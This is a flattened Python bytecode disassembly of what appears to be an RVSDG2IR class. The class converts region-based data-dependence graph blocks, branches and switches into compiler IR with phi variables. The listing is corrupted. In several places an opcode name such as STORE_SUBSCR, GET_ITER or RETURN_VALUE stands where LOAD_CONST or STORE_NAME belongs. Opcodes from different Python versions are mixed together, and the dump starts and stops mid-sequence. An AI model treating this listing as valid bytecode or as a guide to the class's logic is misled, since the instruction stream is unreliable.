Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP STORE_SUBSCR <code object op_STORE_SUBSCR at 0x7fa90e3bd420, file "f.py", line 628> STORE_SUBSCR 'RVSDG2IR.op_STORE_SUBSCR' MAKE_FUNCTION STORE_SUBSCR op_STORE_SUBSCR LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_BUILD_TUPLE at 0x7fa90e3bd4b0, file "f.py", line 638> LOAD_CONST 'RVSDG2IR.op_BUILD_TUPLE' MAKE_FUNCTION STORE_NAME op_BUILD_TUPLE LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_BUILD_SLICE at 0x7fa90e3bde40, file "f.py", line 644> LOAD_CONST 'RVSDG2IR.op_BUILD_SLICE' MAKE_FUNCTION STORE_NAME op_BUILD_SLICE LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP GET_ITER <code object op_GET_ITER at 0x7fa90e3bdf60, file "f.py", line 653> GET_ITER 'RVSDG2IR.op_GET_ITER' MAKE_FUNCTION GET_ITER op_GET_ITER LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP FOR_ITER <code object op_FOR_ITER at 0x7fa90e3bd810, file "f.py", line 659> FOR_ITER 'RVSDG2IR.op_FOR_ITER' MAKE_FUNCTION STORE_NAME op_FOR_ITER LOAD_CONST <code object _jump_if_not at 0x7fa90e3bd6f0, file "f.py", line 677> LOAD_CONST 'RVSDG2IR._jump_if_not' MAKE_FUNCTION STORE_NAME _jump_if_not LOAD_CONST <code object _jump_if at 0x7fa90e3bd390, file "f.py", line 685> LOAD_CONST 'RVSDG2IR._jump_if' MAKE_FUNCTION STORE_NAME _jump_if LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_JUMP_IF_FALSE_OR_POP at 0x7fa90e3bd540, file "f.py", line 689> LOAD_CONST 'RVSDG2IR.op_JUMP_IF_FALSE_OR_POP' MAKE_FUNCTION STORE_NAME op_JUMP_IF_FALSE_OR_POP LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_JUMP_IF_TRUE_OR_POP at 0x7fa90e3bda50, file "f.py", line 694> LOAD_CONST 'RVSDG2IR.op_JUMP_IF_TRUE_OR_POP' MAKE_FUNCTION STORE_NAME op_JUMP_IF_TRUE_OR_POP LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_POP_JUMP_FORWARD_IF_FALSE at 0x7fa90e3bd0c0, file "f.py", line 699> LOAD_CONST 'RVSDG2IR.op_POP_JUMP_FORWARD_IF_FALSE' MAKE_FUNCTION STORE_NAME op_POP_JUMP_FORWARD_IF_FALSE LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_POP_JUMP_FORWARD_IF_TRUE at 0x7fa90e3bdae0, file "f.py", line 704> LOAD_CONST 'RVSDG2IR.op_POP_JUMP_FORWARD_IF_TRUE' MAKE_FUNCTION STORE_NAME op_POP_JUMP_FORWARD_IF_TRUE LOAD_NAME dis LOAD_ATTR Instruction LOAD_NAME bool LOAD_CONST ('bc', 'invert') BUILD_CONST_KEY_MAP LOAD_CONST <code object _test_none_and_jump at 0x7faa503bb150, file "f.py", line 709> LOAD_CONST 'RVSDG2IR._test_none_and_jump' MAKE_FUNCTION STORE_NAME _test_none_and_jump LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_POP_JUMP_FORWARD_IF_NONE at 0x7faa503bbc90, file "f.py", line 718> LOAD_CONST 'RVSDG2IR.op_POP_JUMP_FORWARD_IF_NONE' MAKE_FUNCTION STORE_NAME op_POP_JUMP_FORWARD_IF_NONE LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_POP_JUMP_FORWARD_IF_NOT_NONE at 0x7faa503bbed0, file "f.py", line 723> LOAD_CONST 'RVSDG2IR.op_POP_JUMP_FORWARD_IF_NOT_NONE' MAKE_FUNCTION STORE_NAME op_POP_JUMP_FORWARD_IF_NOT_NONE LOAD_NAME op_POP_JUMP_FORWARD_IF_TRUE STORE_NAME op_POP_JUMP_BACKWARD_IF_TRUE LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP RETURN_VALUE <code object op_RETURN_VALUE at 0x7faa503bb540, file "f.py", line 730> RETURN_VALUE 'RVSDG2IR.op_RETURN_VALUE' MAKE_FUNCTION RETURN_VALUE op_RETURN_VALUE LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_RAISE_VARARGS at 0x7faa503bb660, file "f.py", line 735> LOAD_CONST 'RVSDG2IR.op_RAISE_VARARGS' MAKE_FUNCTION STORE_NAME op_RAISE_VARARGS LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST func_id LOAD_FAST self STORE_ATTR func_id LOAD_GLOBAL ir LOAD_ATTR Loc LOAD_METHOD from_function_id LOAD_FAST func_id CALL_METHOD DUP_TOP LOAD_FAST self STORE_ATTR loc LOAD_FAST self STORE_ATTR first_loc LOAD_GLOBAL ir LOAD_ATTR Scope LOAD_CONST None LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('parent', 'loc') CALL_FUNCTION LOAD_FAST self STORE_ATTR global_scope LOAD_GLOBAL ir LOAD_ATTR Scope LOAD_FAST self LOAD_ATTR global_scope LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('parent', 'loc') CALL_FUNCTION LOAD_FAST self STORE_ATTR local_scope BUILD_MAP LOAD_FAST self STORE_ATTR blocks BUILD_MAP LOAD_FAST self STORE_ATTR vsmap LOAD_CONST None LOAD_FAST self STORE_ATTR _current_block LOAD_CONST None LOAD_FAST self STORE_ATTR last_block_label BUILD_MAP LOAD_FAST self STORE_ATTR _label_map LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _current_block STORE_FAST out LOAD_FAST out LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST out RETURN_VALUE LOAD_FAST self LOAD_ATTR last_block_label LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR blocks LOAD_FAST self LOAD_ATTR last_block_label BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL str LOAD_FAST self LOAD_METHOD _get_label LOAD_FAST label CALL_METHOD CALL_FUNCTION STORE_FAST suffix LOAD_CONST '$phi.' LOAD_FAST varname FORMAT_VALUE LOAD_CONST '.' LOAD_FAST suffix FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_CONST '$.cp.' LOAD_FAST cpname FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_FAST self LOAD_ATTR _label_map LOAD_METHOD setdefault LOAD_CONST 'block.' LOAD_FAST label FORMAT_VALUE BUILD_STRING LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR _label_map CALL_FUNCTION CALL_METHOD STORE_FAST num LOAD_FAST num RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR _label_map CALL_FUNCTION STORE_FAST num LOAD_FAST num LOAD_FAST self LOAD_ATTR _label_map COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST num LOAD_FAST self LOAD_ATTR _label_map LOAD_CONST 'annoy.' LOAD_FAST num FORMAT_VALUE BUILD_STRING STORE_SUBSCR LOAD_FAST num RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_temp_label CALL_METHOD STORE_FAST label LOAD_FAST self LOAD_METHOD set_block LOAD_FAST label LOAD_GLOBAL ir LOAD_ATTR Block LOAD_FAST self LOAD_ATTR local_scope LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('scope', 'loc') CALL_FUNCTION CALL_METHOD SETUP_WITH to 114 POP_TOP BUILD_MAP STORE_FAST data SETUP_LOOP to 110 LOAD_GLOBAL enumerate LOAD_FAST self LOAD_ATTR func_id LOAD_ATTR arg_names CALL_FUNCTION GET_ITER FOR_ITER to 108 UNPACK_SEQUENCE STORE_FAST i STORE_FAST k LOAD_GLOBAL ir LOAD_ATTR Arg LOAD_FAST i LOAD_FAST k LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('index', 'name', 'loc') CALL_FUNCTION STORE_FAST val LOAD_FAST self LOAD_METHOD store LOAD_FAST val LOAD_GLOBAL str LOAD_FAST k CALL_FUNCTION CALL_METHOD LOAD_FAST data LOAD_CONST 'var.' LOAD_FAST k FORMAT_VALUE BUILD_STRING STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST data RETURN_VALUE WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR last_block_label LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR blocks LOAD_FAST self LOAD_ATTR last_block_label BINARY_SUBSCR STORE_FAST last_block LOAD_FAST last_block LOAD_ATTR is_terminated POP_JUMP_IF_TRUE LOAD_FAST last_block LOAD_METHOD append LOAD_GLOBAL ir LOAD_ATTR StaticRaise LOAD_GLOBAL AssertionError LOAD_CONST () LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST block LOAD_GLOBAL DDGBlock CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 50 LOAD_FAST block LOAD_ATTR in_vars LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 48 UNPACK_SEQUENCE STORE_FAST k STORE_FAST vs LOAD_FAST data LOAD_FAST k BINARY_SUBSCR LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST vs STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST block LOAD_METHOD get_toposorted_ops CALL_METHOD STORE_FAST ops LOAD_GLOBAL _get_first_bytecode LOAD_FAST ops CALL_FUNCTION STORE_FAST firstbc LOAD_FAST firstbc LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST firstbc LOAD_ATTR positions LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF self LOAD_ATTR loc LOAD_METHOD with_lineno LOAD_FAST firstbc LOAD_ATTR positions LOAD_ATTR lineno LOAD_FAST firstbc LOAD_ATTR positions LOAD_ATTR col_offset CALL_METHOD LOAD_DEREF self STORE_ATTR loc LOAD_DEREF self LOAD_METHOD set_block LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST block LOAD_ATTR name CALL_METHOD LOAD_GLOBAL ir LOAD_ATTR Block LOAD_DEREF self LOAD_ATTR local_scope LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('scope', 'loc') CALL_FUNCTION CALL_METHOD SETUP_WITH to 370 POP_TOP SETUP_LOOP to 268 LOAD_FAST ops GET_ITER FOR_ITER to 266 STORE_FAST op LOAD_FAST op LOAD_ATTR opname LOAD_GLOBAL _noop COMPARE_OP in POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST op LOAD_ATTR bc_inst LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_METHOD interpret_bytecode LOAD_FAST op CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST op LOAD_ATTR opname LOAD_CONST frozenset({'stack.export', 'stack.incoming'}) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST arg LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST res LOAD_DEREF self LOAD_METHOD store LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST arg BINARY_SUBSCR LOAD_CONST '$' LOAD_FAST res LOAD_ATTR name FORMAT_VALUE BUILD_STRING CALL_METHOD LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST res STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL NotImplementedError LOAD_FAST op LOAD_ATTR opname LOAD_FAST op CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST block LOAD_ATTR _jump_targets CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_ATTR branch_predicate LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST block LOAD_ATTR _jump_targets LOAD_CONST 1 BINARY_SUBSCR CALL_METHOD STORE_FAST truebr LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST block LOAD_ATTR _jump_targets LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD STORE_FAST falsebr LOAD_GLOBAL ir LOAD_ATTR Branch LOAD_DEREF self LOAD_ATTR branch_predicate LOAD_FAST truebr LOAD_FAST falsebr LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('cond', 'truebr', 'falsebr', 'loc') CALL_FUNCTION STORE_FAST br LOAD_DEREF self LOAD_ATTR current_block LOAD_METHOD append LOAD_FAST br CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7fab801625d0, file "f.py", line 178> LOAD_CONST 'RVSDG2IR.visit_block.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST block LOAD_ATTR out_vars LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST data LOAD_FAST data RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST block LOAD_GLOBAL DDGControlVariable CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_METHOD set_block LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST block LOAD_ATTR name CALL_METHOD LOAD_GLOBAL ir LOAD_ATTR Block LOAD_DEREF self LOAD_ATTR local_scope LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('scope', 'loc') CALL_FUNCTION CALL_METHOD SETUP_WITH to 522 POP_TOP SETUP_LOOP to 518 LOAD_FAST block LOAD_ATTR variable_assignment LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 516 UNPACK_SEQUENCE STORE_FAST cp STORE_FAST v LOAD_GLOBAL ir LOAD_ATTR Const LOAD_FAST v LOAD_DEREF self LOAD_ATTR loc LOAD_CONST False LOAD_CONST ('loc', 'use_literal_type') CALL_FUNCTION STORE_FAST const LOAD_DEREF self LOAD_ATTR store LOAD_FAST const LOAD_DEREF self LOAD_METHOD _get_cp_name LOAD_FAST cp CALL_METHOD LOAD_CONST False LOAD_CONST ('redefine',) CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST data RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST block LOAD_GLOBAL DDGBranch CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST block LOAD_ATTR branch_value_table CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_METHOD _emit_two_way_switch LOAD_FAST block CALL_METHOD POP_TOP JUMP_FORWARD to 582 LOAD_DEREF self LOAD_METHOD _emit_n_way_switch LOAD_FAST block CALL_METHOD POP_TOP LOAD_FAST data RETURN_VALUE LOAD_GLOBAL NotImplementedError LOAD_FAST block LOAD_ATTR name LOAD_GLOBAL type LOAD_FAST block CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST k STORE_FAST vs LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST vs BINARY_SUBSCR LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_METHOD set_block LOAD_FAST self LOAD_METHOD _get_label LOAD_FAST block LOAD_ATTR name CALL_METHOD LOAD_GLOBAL ir LOAD_ATTR Block LOAD_FAST self LOAD_ATTR local_scope LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('scope', 'loc') CALL_FUNCTION CALL_METHOD SETUP_WITH to 154 POP_TOP LOAD_GLOBAL set LOAD_FAST block LOAD_ATTR branch_value_table LOAD_METHOD keys CALL_METHOD CALL_FUNCTION LOAD_CONST 0 LOAD_CONST 1 BUILD_SET COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST block LOAD_ATTR variable STORE_FAST cp LOAD_FAST self LOAD_ATTR local_scope LOAD_METHOD get_exact LOAD_FAST self LOAD_METHOD _get_cp_name LOAD_FAST cp CALL_METHOD CALL_METHOD STORE_FAST cpvar LOAD_FAST self LOAD_METHOD _get_label LOAD_FAST block LOAD_ATTR branch_value_table LOAD_CONST 1 BINARY_SUBSCR CALL_METHOD STORE_FAST truebr LOAD_FAST self LOAD_METHOD _get_label LOAD_FAST block LOAD_ATTR branch_value_table LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD STORE_FAST falsebr LOAD_GLOBAL ir LOAD_ATTR Branch LOAD_FAST cpvar LOAD_FAST truebr LOAD_FAST falsebr LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('cond', 'truebr', 'falsebr', 'loc') CALL_FUNCTION STORE_FAST br LOAD_FAST self LOAD_ATTR current_block LOAD_METHOD append LOAD_FAST br CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST block LOAD_ATTR branch_value_table STORE_FAST bvt LOAD_FAST block LOAD_ATTR variable STORE_FAST cp LOAD_DEREF self LOAD_ATTR local_scope LOAD_METHOD get_exact LOAD_DEREF self LOAD_METHOD _get_cp_name LOAD_FAST cp CALL_METHOD CALL_METHOD STORE_FAST cpvar LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa5017f5d0, file "f.py", line 264> LOAD_CONST 'RVSDG2IR._emit_n_way_switch.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST bvt LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST labels BUILD_LIST STORE_FAST blocks SETUP_LOOP to 114 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST labels CALL_FUNCTION LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION GET_ITER FOR_ITER to 112 STORE_FAST _ LOAD_FAST blocks LOAD_METHOD append LOAD_DEREF self LOAD_METHOD _get_temp_label CALL_METHOD LOAD_GLOBAL ir LOAD_ATTR Block LOAD_DEREF self LOAD_ATTR local_scope LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('scope', 'loc') CALL_FUNCTION BUILD_TUPLE CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_DEREF self LOAD_METHOD set_block LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST block LOAD_ATTR name CALL_METHOD LOAD_GLOBAL ir LOAD_ATTR Block LOAD_DEREF self LOAD_ATTR local_scope LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('scope', 'loc') CALL_FUNCTION CALL_METHOD SETUP_WITH to 186 POP_TOP LOAD_DEREF self LOAD_ATTR current_block LOAD_METHOD append LOAD_GLOBAL ir LOAD_ATTR Jump LOAD_FAST blocks LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY SETUP_LOOP to 376 LOAD_FAST blocks EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST labels LOAD_METHOD pop CALL_METHOD UNPACK_SEQUENCE STORE_FAST cp_expect STORE_FAST cp_label LOAD_FAST blocks LOAD_METHOD pop CALL_METHOD UNPACK_SEQUENCE STORE_FAST cur_label STORE_FAST cur_block LOAD_DEREF self LOAD_METHOD set_block LOAD_FAST cur_label LOAD_FAST cur_block CALL_METHOD SETUP_WITH to 366 POP_TOP LOAD_DEREF self LOAD_METHOD store LOAD_GLOBAL ir LOAD_ATTR Const LOAD_FAST cp_expect LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION LOAD_CONST '$.const' CALL_METHOD STORE_FAST const LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR binop LOAD_GLOBAL operator LOAD_ATTR eq LOAD_FAST const LOAD_FAST cpvar LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST cmp LOAD_DEREF self LOAD_METHOD store LOAD_FAST cmp LOAD_CONST '$.cmp' CALL_METHOD STORE_FAST pred LOAD_FAST blocks EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST labels LOAD_METHOD pop CALL_METHOD UNPACK_SEQUENCE STORE_FAST _ STORE_FAST falsebr JUMP_FORWARD to 330 LOAD_FAST blocks LOAD_CONST -1 BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST falsebr STORE_FAST _ LOAD_GLOBAL ir LOAD_ATTR Branch LOAD_FAST pred LOAD_FAST cp_label LOAD_FAST falsebr LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('cond', 'truebr', 'falsebr', 'loc') CALL_FUNCTION STORE_FAST br LOAD_DEREF self LOAD_ATTR current_block LOAD_METHOD append LOAD_FAST br CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 28 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST v CALL_METHOD BUILD_TUPLE LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST region LOAD_GLOBAL DDGRegion CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS BUILD_MAP STORE_FAST inner_data SETUP_LOOP to 72 LOAD_FAST region LOAD_ATTR incoming_states GET_ITER FOR_ITER to 70 STORE_FAST k LOAD_FAST self LOAD_ATTR store LOAD_FAST data LOAD_FAST k BINARY_SUBSCR LOAD_FAST self LOAD_METHOD _get_phi_name LOAD_FAST k LOAD_FAST region LOAD_ATTR name CALL_METHOD LOAD_CONST False LOAD_FAST self LOAD_ATTR last_block LOAD_CONST ('redefine', 'block') CALL_FUNCTION LOAD_FAST inner_data LOAD_FAST k STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD visit_linear LOAD_FAST region LOAD_FAST inner_data CALL_METHOD STORE_FAST out_data BUILD_MAP STORE_FAST exit_data SETUP_LOOP to 142 LOAD_FAST region LOAD_ATTR outgoing_states GET_ITER FOR_ITER to 140 STORE_FAST k LOAD_FAST self LOAD_ATTR store LOAD_FAST out_data LOAD_FAST k BINARY_SUBSCR LOAD_FAST self LOAD_METHOD _get_phi_name LOAD_FAST k LOAD_FAST region LOAD_ATTR name CALL_METHOD LOAD_CONST False LOAD_FAST self LOAD_ATTR last_block LOAD_CONST ('redefine', 'block') CALL_FUNCTION LOAD_FAST exit_data LOAD_FAST k STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST exit_data RETURN_VALUE LOAD_DEREF region LOAD_ATTR header STORE_FAST header LOAD_DEREF region LOAD_ATTR subregion LOAD_FAST header BINARY_SUBSCR STORE_FAST header_block LOAD_FAST header_block LOAD_ATTR kind LOAD_CONST 'head' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None LOAD_DEREF self STORE_ATTR branch_predicate LOAD_DEREF self LOAD_METHOD visit_linear LOAD_FAST header_block LOAD_FAST data CALL_METHOD STORE_FAST data_at_head LOAD_DEREF self LOAD_ATTR last_block LOAD_ATTR is_terminated POP_JUMP_IF_TRUE LOAD_DEREF self LOAD_ATTR branch_predicate LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST header_block LOAD_ATTR jump_targets LOAD_CONST 1 BINARY_SUBSCR CALL_METHOD STORE_FAST truebr LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST header_block LOAD_ATTR jump_targets LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD STORE_FAST falsebr LOAD_GLOBAL ir LOAD_ATTR Branch LOAD_DEREF self LOAD_ATTR branch_predicate LOAD_FAST truebr LOAD_FAST falsebr LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST br LOAD_DEREF self LOAD_ATTR last_block LOAD_METHOD append LOAD_FAST br CALL_METHOD POP_TOP BUILD_LIST STORE_FAST data_for_branches BUILD_LIST STORE_FAST branch_blocks SETUP_LOOP to 254 LOAD_DEREF region LOAD_ATTR subregion LOAD_ATTR graph LOAD_METHOD values CALL_METHOD GET_ITER FOR_ITER to 252 STORE_FAST blk LOAD_FAST blk LOAD_ATTR kind LOAD_CONST 'branch' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST branch_blocks LOAD_METHOD append LOAD_GLOBAL _innermost_exiting LOAD_FAST blk CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST data_for_branches LOAD_METHOD append LOAD_DEREF self LOAD_METHOD visit_linear LOAD_FAST blk LOAD_FAST data_at_head CALL_METHOD CALL_METHOD POP_TOP LOAD_DEREF self LOAD_ATTR last_block LOAD_ATTR is_terminated POP_JUMP_IF_TRUE LOAD_FAST blk LOAD_ATTR jump_targets UNPACK_SEQUENCE STORE_FAST target LOAD_DEREF self LOAD_ATTR last_block LOAD_METHOD append LOAD_GLOBAL ir LOAD_ATTR Jump LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST target CALL_METHOD LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL reduce LOAD_GLOBAL operator LOAD_ATTR or_ LOAD_GLOBAL map LOAD_GLOBAL set LOAD_FAST data_for_branches CALL_FUNCTION CALL_FUNCTION STORE_FAST names SETUP_LOOP to 388 LOAD_GLOBAL zip LOAD_FAST branch_blocks LOAD_FAST data_for_branches LOAD_CONST True LOAD_CONST ('strict',) CALL_FUNCTION GET_ITER FOR_ITER to 386 UNPACK_SEQUENCE STORE_FAST blk STORE_FAST branch_data SETUP_LOOP to 382 LOAD_FAST names GET_ITER FOR_ITER to 380 STORE_FAST k LOAD_FAST branch_data LOAD_METHOD get LOAD_FAST k LOAD_GLOBAL ir LOAD_ATTR Const LOAD_CONST None LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION CALL_METHOD STORE_FAST rhs LOAD_DEREF self LOAD_METHOD _get_phi_name LOAD_FAST k LOAD_DEREF region LOAD_ATTR name CALL_METHOD STORE_FAST phiname LOAD_DEREF self LOAD_ATTR store LOAD_FAST rhs LOAD_FAST phiname LOAD_CONST False LOAD_DEREF self LOAD_ATTR blocks LOAD_DEREF self LOAD_METHOD _get_label LOAD_FAST blk LOAD_ATTR name CALL_METHOD BINARY_SUBSCR LOAD_CONST ('redefine', 'block') CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CLOSURE region LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7faa519c18a0, file "f.py", line 364> LOAD_CONST 'RVSDG2IR.visit_switch.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST names GET_ITER CALL_FUNCTION STORE_FAST data_after_branches LOAD_DEREF region LOAD_ATTR exiting STORE_FAST exiting LOAD_DEREF region LOAD_ATTR subregion LOAD_FAST exiting BINARY_SUBSCR STORE_FAST exiting_block 